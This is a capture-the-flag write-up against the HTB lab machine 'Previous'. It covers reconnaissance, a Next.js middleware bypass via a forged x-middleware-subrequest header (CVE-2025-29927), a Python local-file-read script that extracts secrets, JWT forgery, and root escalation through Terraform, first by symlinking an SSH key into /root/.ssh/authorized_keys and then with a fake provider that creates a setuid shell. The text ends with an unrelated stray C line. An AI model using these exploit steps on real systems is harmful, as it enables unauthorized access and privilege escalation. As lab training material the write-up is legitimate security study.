RECON

Port Scan

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: PreviousJS
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Title “PreviousJS” telling us this is kinda a JS framework. Look it up:

$ whatweb http://previous.htb
http://previous.htb [200 OK] Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.15.22], Script[application/json], X-Powered-By[Next.js], nginx[1.18.0]

Port 80

A JavaScript frontend framework masquerading as NextJS, armed with an “Opt-Out Middleware” crafted under the banner of privacy:

htb_previous_1

When we attempt to reach the documentation, we're shunted to the auth endpoint—http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs—gated behind a login:

htb_previous_2

Inspect the network packages in BurpSuite:

htb_previous_3

We see this is actually a Next.js app using NextAuth (Credentials provider) behind nginx.

  • Framework: /api/auth/* endpoints match NextAuth.js.
  • Provider: credentials → the backend is doing a username/password check (often against env vars or a DB).
  • Mode / Base URL is wrong:
    • The response sets Set-Cookie: next-auth.callback-url=http://localhost:3000 and the JSON error points tohttp://localhost:3000/....
    • This strongly suggests NEXTAUTH_URL (or NEXTAUTH_URL_INTERNAL) is set to http://localhost:3000 while the app is being reverse-proxied as http://previous.htb. Classic proxy/base-URL misconfig.

“PreviousJS” is just a cheeky alias for Next.js in this challenge.

WEB

Next.JS

Our adversary—dubbed PreviousJS—is, without doubt, a bespoke Next.js deployment, styled to look familiar yet riddled with subtle misconfigurations.

Next.JS 101

Next.js is a React-driven framework for crafting full-stack web apps.

  • It orchestrates Server-Side Rendering (SSR), Static Site Generation (SSG), and API routes under one roof.
  • Widely adopted in the startup/SaaS ecosystem, thanks to its agility.

Core Signatures of a Next.js App:

  1. Directory architecture
    • /pages/.js or .tsx files seamlessly map to routes.
    • /pages/api/ → backend endpoints (/api/login, /api/user).
    • /static/ or /_next/static/ → bundled JS/CSS.
    • /_next/ → framework artifacts (source maps, manifests, etc.).
  2. SSR + backend
    • Though masked as frontend, every Next.js instance carries a Node.js backend.
    • SSR can expose injection vectors—XSS bleeding into template logic, potentially escalating to RCE.
  3. Leak vectors
    • .env file in repo root.
    • /_next/static/development/ occasionally drops source maps → code disclosure.
    • /api/* endpoints leaking JSON payloads (JWTs, secrets, user metadata).

So, think of PreviousJS as: React on the surface, Node.js under the hood. Enumeration must target both static routes (/_next/, /static/) and API surface (/api/).

Next.JS Enumeration

NextAUTH Provider

Hitting /api/auth/providers reveals absolute localhost URLs in both signinUrl and callbackUrl:

$ curl -i http://previous.htb/api/auth/providers

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 25 Aug 2025 02:26:14 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 210
Connection: keep-alive
ETag: "qsia4r7in25u"
Vary: Accept-Encoding

{"credentials":{"id":"credentials","name":"Credentials","type":"credentials","signinUrl":"http://localhost:3000/api/auth/signin/credentials","callbackUrl":"http://localhost:3000/api/auth/callback/credentials"}}

Internal URLs exposed:

CSRF API

CSRF endpoint left public:

$ curl -i http://previous.htb/api/auth/csrf

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 25 Aug 2025 02:34:57 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 80
Connection: keep-alive
Set-Cookie: next-auth.csrf-token=114b38c7ee014ebfee5d1c5f6957cc60f709f9c2927c198bd6c9ff928d7feba1%7Ce1194ba57e5d59aee8374b9622f275825a9a7ab8aa10350514edb39b4a910fb1; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000; Path=/; HttpOnly; SameSite=Lax
ETag: "kgrhrx12tv28"
Vary: Accept-Encoding

{"csrfToken":"114b38c7ee014ebfee5d1c5f6957cc60f709f9c2927c198bd6c9ff928d7feba1"}

The endpoint /api/auth/csrf works and sets both:

  • next-auth.csrf-token=<token>|<hash> (HttpOnly)
  • next-auth.callback-url=http://localhost:3000 (HttpOnly)

Middleware Trap

Accessing /docs triggers the Opt-Out middleware redirect (where's the privacy in the announcement page?):

$ curl -i http://previous.htb/docs
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 25 Aug 2025 02:49:34 GMT
Transfer-Encoding: chunked
Connection: keep-alive
location: /api/auth/signin?callbackUrl=%2Fdocs

/api/auth/signin?callbackUrl=%2Fdocs

The gatekeeper middleware insists on authentication. Time to plot a bypass.

CVE-2025-29927

Vulnerable Codes

We search for auth bypass for Next.JS middleware. It turns out CVE‑2025‑29927 is the one—a critical authorization bypass vulnerability in Next.js middleware, allowing attackers to bypass middleware logic and reach protected resources.

Next.js uses middleware to enforce security policies such as authentication and authorization before routing requests. The function hasMiddleware performs a fast existence check for a compiled middleware:

TypeScript
/**
* Checks if a middleware exists. This method is useful for the development
* server where we need to check the filesystem. Here we just check the
* middleware manifest.
*/
protected async hasMiddleware(pathname: string): Promise<boolean> {
  // 1) Ask edge-function registry (middleware manifest) for info
  const info = this.getEdgeFunctionInfo({ page: pathname, middleware: true })

  // 2) Also see if there's a Node.js-style middleware (legacy/fallback);
  const nodeMiddleware = await this.loadNodeMiddleware()

  // 3) If there's no edge info but a Node middleware module exists → treat as present
  if (!info && nodeMiddleware) {
    return true
  }

  // 4) Otherwise, require the edge entry to exist and have at least one path compiled
  return Boolean(info && info.paths.length > 0)
}

The runMiddleware defines how NextJS runs the middleware:

TypeScript
protected async runMiddleware(params: {
                              request: NodeNextRequest
                              response: NodeNextResponse
                              parsedUrl: ParsedUrl
                              parsed: UrlWithParsedQuery
                              onWarning?: (warning: Error) => void
}) {
	...
    // Middleware is skipped for on-demand revalidate requests
    if (
      checkIsOnDemandRevalidate(params.request, this.renderOpts.previewProps)
        .isOnDemandRevalidate
    ) {
      return {
        response: new Response(null, { headers: { 'x-middleware-next': '1' } }),
      } as FetchEventResult
    }
    ...

The server itself treats a Response with header x-middleware-next: 1 as the “pass through” signal.

Then there's the runMiddleware runner dispatch:

TypeScript
const middleware = await this.getMiddleware()
if (!middleware) {
  	return { finished: false }
}
if (!(await this.hasMiddleware(middleware.page))) {
  	return { finished: false }
}

await this.ensureMiddleware(params.request.url)
const middlewareInfo = this.getEdgeFunctionInfo({
  	page: middleware.page,
  	middleware: true,
})

it either:

  • runs Node middleware via the adapter, or
  • runs Edge middleware via the sandbox:
TypeScript
if (!middlewareInfo) {
    const middlewareModule = await this.loadNodeMiddleware()
    const adapterFn = middlewareModule.default || middlewareModule
    result = await adapterFn({
    	handler: middlewareModule.middleware || middlewareModule,
    	request: requestData,
    	page: 'middleware',
  })
} else {
  	const { run } = require('./web/sandbox')
  	result = await run({
        distDir: this.distDir,
        name: middlewareInfo.name,		// [!] ← This is params.name checked in the next part
        paths: middlewareInfo.paths,
        edgeFunctionEntry: middlewareInfo,
        request: requestData,
        useCache: true,
        onWarning: params.onWarning,
  })
}

Inside the Edge sandbox (web/sandbox) path, to avoid infinite loops during internal redirects or server-side rendering (SSR), it includes a special header x-middleware-subrequest in internal requests → where the skip is generated:

TypeScript
export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
  	const runtime = await getRuntimeContext(params)

    // Read `x-middleware-subrequest` from the incoming request
    const subreq = params.request.headers[`x-middleware-subrequest`]		// [!] The magic header
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : []	// split with ":"

    const MAX_RECURSION_DEPTH = 5
    // If the file is `middleware.ts` → the name is `middleware`
    // If the file is `src/middleware.ts` → the name is `src/middleware`
    const depth = subrequests.reduce(
    	(acc, curr) => (curr === params.name ? acc + 1 : acc),		// [!] Check params.name
    	0
  	)

  	// *** THIS IS THE SKIP POINT ***
  	if (depth >= MAX_RECURSION_DEPTH) {		// if depth >= 5
    	return {
      		waitUntil: Promise.resolve(),
      		response: new runtime.context.Response(null, {
        		headers: {
          			'x-middleware-next': '1',   // ← pass-through flag
        		},
      		}),
    	}
    }

  // Otherwise, actually execute the edge middleware module
  const edgeFunction = (
    await runtime.context._ENTRIES[`middleware_${params.name}`]
  ).default

  ...
})

Concrete behavior: if a client forges a header like:

HTTP
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

(and params.name is 'middleware', or 'src/middleware' accordingly), then depth >= 5 and the sandbox returns a response that tells the server to continue (x-middleware-next: 1) without running the auth code.

That's the entire CVE shape.

Versions

We were analyzing the Next.js v15.2.2 vulnerable codes in last section. But the exploit in different versions can vary, for Next.js has different code implementation logic in them.

But they're predictable anyway for this is an open-source framework. Versions and exploit syntax differ by release era:

  • Pre-12.2: header values like pages/_middleware
  • 12.2–13.x: middleware or src/middleware
  • 13.x+: Next.js added recursion detection—exploit payloads need repetition up to 5 levels (e.g., middleware:middleware:middleware:middleware:middleware).

PoC

We attempt to breach the middleware-guarded routes by forging the magic header:

htb_previous_4

Nice being an ?? user collapsing the gate:

htb_previous_5

To weaponize this, configure BurpSuite with a Match & Replace rule that automatically injects the bypass header:

  1. In Burp: Settings → Sessions → Rules Actions → Add, and choose "Set a specific header value".
  2. Set request header:
    • Header name: x-middleware-subrequest
    • Header value: middleware:middleware:middleware:middleware:middleware
htb_previous_6

Scope the rule globally to every proxied request:

htb_previous_7

With the injection automated, all middleware walls disintegrate — protected content is ours to traverse at will.

LFR

The application flaunts a demo download feature for the so-called “Previous” library — ripe for probing:

htb_previous_8

Test the parameter, and the mask slips:

htb_previous_9

A straight-up Local File Read primitive. /etc/passwd confirms the presence of two valid container users: node and nextjs.

To automate the plunder, a Python extractor:

Python
#!/usr/bin/env python3
import sys
import urllib.parse as up
import requests

def main():
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} http://previous.htb ../../../../etc/passwd", file=sys.stderr)
        sys.exit(1)

    base_url = sys.argv[1].rstrip("/")
    file_path = sys.argv[2]
    url = f"{base_url}/api/download?example={file_path}"
    print(f"[*] Request path: {url}")

    headers = {
        # CVE-2025-29927 bypass
        "x-middleware-subrequest": "middleware:middleware:middleware:middleware:middleware"
    }

    s = requests.Session()
    try:
        r = s.get(url, headers=headers, timeout=8)
        if r.status_code == 200 and r.content:
            sys.stdout.buffer.write(r.content)
            return
    except requests.RequestException:
        pass

    print("[-] No luck. Try a different path.", file=sys.stderr)
    sys.exit(2)

if __name__ == "__main__":
    main()

A first probe into /proc/self/environ spills environment variables:

$ python lfr.py http://previous.htb ../../../../proc/self/environ

NODE_VERSION=18.20.8HOSTNAME=0.0.0.0YARN_VERSION=1.22.22SHLVL=1PORT=3000HOME=/home/nextjsPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNEXT_TELEMETRY_DISABLED=1PWD=/appNODE_ENV=production

Working directory anchored at /app — the Next.js root. And with Twelve-Factor convention, secrets hide in .env*.

Crack it open:

$ python lfr.py http://previous.htb ../../../../app/.env

NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a

JackpotNEXTAUTH_SECRET revealed. This key signs JWT sessions. With it, we forge arbitrary identities.

Forge a session as admin:

Python
import jwt, time
s = "82a464f1c3509a81d5c973c31a23c61a"  # NEXTAUTH_SECRET
now = int(time.time())
pl = {
    "sub": "admin",
    "name": "Administrator",
    "email": "[email protected]",
    "iat": now,
    "exp": now + 60*60*24*30,  
}
print(jwt.encode(pl, s, algorithm="HS256"))

Run:

$ python forge_jwt.py

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJBZG1pbmlzdHJhdG9yIiwiZW1haWwiOiJhZG1pbkBwcmV2aW91cy5odGIiLCJpYXQiOjE3NTYxMDkyNDUsImV4cCI6MTc1ODcwMTI0NX0.JjaMkQ0nOj4l2kURGovtLd__N8wTJ3VRhQdzd_k4lqA

We now possess the skeleton key — though the final step is discovering the session cookie name (likely next-auth.session-token) and discover or test out how the server verifies the token.

USER

NextJS Enumeration

Therefore, with LFR in our pocket, the next pivot is t continue the enumeration on NextJs compiled artifacts. These often leak credentials, adapter configs:

$ python lfr.py http://previous.htb ../../../../app/.next/server/pages-manifest.json

{
  "/_app": "pages/_app.js",
  "/_error": "pages/_error.js",
  "/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
  "/api/download": "pages/api/download.js",
  "/docs/[section]": "pages/docs/[section].html",
  "/docs/components/layout": "pages/docs/components/layout.html",
  "/docs/components/sidebar": "pages/docs/components/sidebar.html",
  "/docs/content/examples": "pages/docs/content/examples.html",
  "/docs/content/getting-started": "pages/docs/content/getting-started.html",
  "/docs": "pages/docs.html",
  "/": "pages/index.html",
  "/signin": "pages/signin.html",
  "/_document": "pages/_document.js",
  "/404": "pages/404.html"
}

We see the NextAuth internals:

"/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js"

In Next.js Pages Router, pages/api/** translates into API endpoints. A file like pages/api/auth/[...nextauth].js acts as a catch-all handler — governing every request under /api/auth/*.

Meaning the compiled runtime file sits at:

/app/.next/server/pages/api/auth/[...nextauth].js

Exfiltration:

Bash
python lfr.py http://previous.htb ../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js > nextauth.js

Inspection yields the payload:

htb_previous_10

Forget the JWT forgery — the config straight up leaks the ADMIN_SECRET for user jeremy:

MyNameIsJeremyAndILovePancakes

Weaponize it via SSH into the target host:

htb_previous_11

User flag secured.

ROOT

Sudo

Check sudo -l:

jeremy@previous:~$ sudo -l
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

So Jeremy can invoke Terraform as root, locked to -chdir=/opt/examples and the apply subcommand.

Checking the built-in help confirms:

jeremy@previous:~$ terraform -h
Usage: terraform [global options] <subcommand> [args]

Main commands:
  apply         Create or update infrastructure
  ...

Global options (use these before the subcommand, if any):
  -chdir=DIR    Switch to a different working directory before executing the
                given subcommand.
  ...

This means: Terraform runs whatever HCL configs lie under /opt/examples, but as root.

That directory becomes our battlefield.

Terraform

Terraform is the heavyweight of declarative IaC. We describe infrastructure in HCL, and Terraform orchestrates the creation, modification, or destruction.

  • HCL syntax defines the desired state (.tf configs).
  • Providers are plugins that expose resources (cloud, local, null, etc.).
  • Resources are the actual artifacts (VMs, buckets, local files, shell commands).
  • State keeps the authoritative map of existing resources.
  • Lifecycle: init → plan → apply → destroy.

Example anatomy:

# main.tf
terraform {
  required_providers {
    local = { source = "hashicorp/local" }
  }
}

resource "local_file" "note" {
  content  = "hello from Axura"
  filename = "/tmp/hello.txt"
}

Run:

Bash
terraform init
terraform plan
terraform apply   # creates /tmp/hello.txt

In our case, the sudo rule enforces:

Bash
sudo /usr/bin/terraform -chdir=/opt/examples apply

Which translates to: any .tf inside /opt/examples executes as root during apply.

Quick recon on the target /opt/examples (project-local):

jeremy@previous:~$ ls -ld /opt/examples
drwxr-xr-x 3 root root 4096 Aug 25 08:52 /opt/examples

jeremy@previous:~$ ls -la /opt/examples
total 28
drwxr-xr-x 3 root root 4096 Aug 25 08:52 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root   18 Apr 12 20:32 .gitignore
-rw-r--r-- 1 root root  576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root  247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Aug 25 08:52 terraform.tfstate
  • .terraform/ – per-project working dir cache (installed providers, plugin metadata).
  • .terraform.lock.hcl – lockfile pinning provider source/checksums.
  • terraform.tfstate – the state file (what resources exist).

But ownership is strict: root:root, world-readable yet not writable. No immediate drop of malicious configs.

A. Env Hijacking

Strategy

We can't write directly into /opt/examples, but the sudo rule leaks us a vector: Terraform variables are injectable via environment (TF_VAR_\*), and sudo is configured with !env_reset. That means our env survives privilege escalation — perfect for hijacking main.tf behavior.

See /opt/examples/main.tf:

terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}
  • Custom provider: previous.htb/terraform/examples.
  • Reads var.source_path as root, copies it into a fixed destination.
  • Guard: must contain /root/examples/, no ...
  • Runtime override possible: TF_VAR_source_path=<our path>.

A detailed guidance on how to control Terraform behavior with environment variables.

A trivial attempt like:

Bash
TF_VAR_source_path='/root/root.txt' \
     			sudo /usr/bin/terraform -chdir=/opt/examples apply

…fails validation as expected:

htb_previous_14

But the check is brittle — we can control a /root/examples path from userland.

Terraform copies source_path to a hardcoded destination, as revealed in the state file (terraform.tfstate):

jeremy@previous:~$ cat /opt/examples/terraform.tfstate
{
  ...
  "resources": [
    {
      "mode": "managed",
      "type": "examples_example",
      "name": "example",
      "provider": "provider[\"previous.htb/terraform/examples\"]",
      "instances": [
        {
          "schema_version": 0,
          "attributes": {
            "destination_path": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
            "id": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
            "source_path": "/root/examples/hello-world.ts"
          },
          "sensitive_attributes": []
        }
      ]
    }
  ],

So the flow is: root reads → copies → writes into our directory. With symlinks, we can redirect the output straight into /root/.ssh/authorized_keys.

Exploit

Forge an Ed255519 SSH key:

Bash
ssh-keygen -t ed25519 -C "axura@previous" -f ~/.ssh/id_ed25519

Change their permissions to avoid SSH whining:

Bash
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_ed25519
chmod 644 ~/.ssh/id_ed25519.pub

Place the contents of our public key into a file named .../root/examples/authorized_keys, then weaponize it as the source_path for Terraform. From there, we redirect its copy operation by symlinking the destination (/home/jeremy/docker/previous/public/examples) to the real target /root/.ssh/authorized_keys:

Bash
# 1) prep a controlled path that passes the weak check
mkdir -p /home/jeremy/root/examples

# 2) create the payload file containing public key
cp ~/.ssh/id_ed25519.pub /home/jeremy/root/examples/authorized_keys

# 3) symlink the provider's destination filename to the real root-file target
ln -sf /root/.ssh/authorized_keys /home/jeremy/root/examples/authorized_keys

# 3) create a symlink at the provider's destination path pointing to root's AK file:
ln -sf /root/.ssh/authorized_keys /home/jeremy/docker/previous/public/examples/authorized_keys

# 4) trigger root to “copy” our file into the symlink target
sudo TF_VAR_source_path='/home/jeremy/root/examples/authorized_keys' \
     /usr/bin/terraform -chdir=/opt/examples apply

# 5) SSH as root (key-based)
ssh -i ~/.ssh/id_ed25519 root@localhost

Rooted:

htb_previous_15

B. CLI Config Hijacking

Strategy

Terraform also relies on CLI configuration files under the user's home directory:

jeremy@previous:~$ ls -lRa .
...
drwxr-xr-x 2 root   root   4096 Aug 25 11:08 .terraform.d
-rw-rw-r-- 1 jeremy jeremy  150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root   jeremy   33 Aug 24 10:11 user.txt

...

./docker/previous/public/examples:
total 12
drwxr-xr-x 2 jeremy jeremy 4096 Aug 25 11:51 .
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 ..
-rw-r--r-- 1 jeremy jeremy   69 Aug 25 11:51 hello-world.ts

./.terraform.d:
total 12
drwxr-xr-x 2 root   root   4096 Aug 25 11:08 .
drwxr-x--- 5 jeremy jeremy 4096 Aug 25 11:08 ..
-rw-r--r-- 1 root   root    394 Aug 25 11:08 checkpoint_signature

By default, Terraform consumes /opt/examples/main.tf, which declares a custom provider: previous.htb/terraform/examples.

However, Jeremy's ~/.terraformrc enforces a development override:

provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/usr/local/go/bin"
  }
}

This forces Terraform to load the local provider binary from /usr/local/go/bin/terraform-provider-examples:

jeremy@previous:~$ ll /usr/local/go/bin
total 38744
drwxr-xr-x  2 root root     4096 Aug 21 18:38 ./
drwxr-xr-x 10 root root     4096 Aug  7  2024 ../
-rwxr-xr-x  1 root root 13387863 Aug  7  2024 go*
-rwxr-xr-x  1 root root  2850696 Aug  7  2024 gofmt*
-rwxr-xr-x  1 root root 23418927 Aug 21 18:38 terraform-provider-examples*

When executed with sudo, Terraform obeys the override. The binary then copies /root/examples/hello.ts into Jeremy's web-accessible directory (/home/jeremy/docker/previous/public/examples/hello-world.ts) — the example hello-world.ts of the PreviousJS framework we discovered earlier on the web application:

htb_previous_12

This confirms that a user-scoped override can leverage root privileges to read sensitive files (e.g., /root/examples/hello-world.ts).

This misconfiguration is extremely dangerous: it allows a non-privileged user to hijack Terraform's provider path and execute arbitrary code as root.

Exploit

Therefore, we can create a Terraform CLI configuration file according to the documentation to hijack that /usr/local/go/bin path:

Bash
# Switch to home
cd ~

# Backup original rc file
mv .terraformrc .terraformrc.bak

# Create a new one replacing  /usr/local/go/bin
cat > /home/jeremy/.terraformrc << EOF
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/home/jeremy"
  }
  direct {}
}
EOF

Next, spoof the terraform-provider-examples binary with a root-payload wrapper:

Bash
cat <<EOF> /home/jeremy/terraform-provider-examples
#!/bin/bash
install -o root -g root -m 4755 /bin/bash /home/jeremy/.pwn
EOF

Grant the fake terraform-provider-examples executable perm:

Bash
chmod +x terraform-provider-examples

Finally, run the sudo command to triggers the override:

Bash
sudo /usr/bin/terraform -chdir=/opt/examples apply

Rooted:

htb_previous_13


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)